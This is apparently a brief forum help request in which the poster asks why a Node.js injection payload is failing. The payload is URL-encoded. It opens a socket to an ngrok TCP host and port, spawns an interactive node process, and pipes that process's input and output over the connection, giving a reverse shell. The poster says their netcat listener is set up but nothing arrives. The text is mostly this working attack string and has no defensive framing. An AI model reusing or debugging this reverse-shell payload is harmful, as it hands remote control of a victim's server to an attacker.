help me

[aokil]

im sure about my ngrok nc
b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(12848,"0.tcp.eu.ngrok.io",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
but with nothing not happen any thing